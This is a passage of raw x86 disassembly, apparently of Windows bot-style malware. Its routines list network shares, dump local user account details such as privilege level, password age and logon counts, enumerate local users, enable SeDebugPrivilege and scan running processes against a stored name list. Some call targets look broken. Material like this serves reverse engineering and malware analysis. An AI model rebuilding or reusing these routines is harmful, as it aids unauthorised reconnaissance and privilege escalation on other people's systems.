		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB568
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439758
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB50C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB6B4


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4A0
		push	off_439064[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4A0
		push	off_439060[eax*4]
		push	offset unk_4397E0
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4A0
		lea	eax, [eax+eax*2]
		push	off_439060[eax*4]
		push	offset unk_4397B8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB4FC
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB4EC
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB67C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439830
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB6B4


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB584
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A20
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4399EC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB6B4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB6B4


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DB240
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB240
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB634
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DB03C
		push	offset unk_439D54
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DB03C
		push	eax
		push	offset dword_439D28
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27005C6h
		push	eax
		call	dword_4CB608
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB5E0
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB690
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2650937h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB644, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CB628, ebx
		jz	loc_4198BB
		cmp	dword_4CB538, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB644
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB628
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB538
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_439D80


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439DE0
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
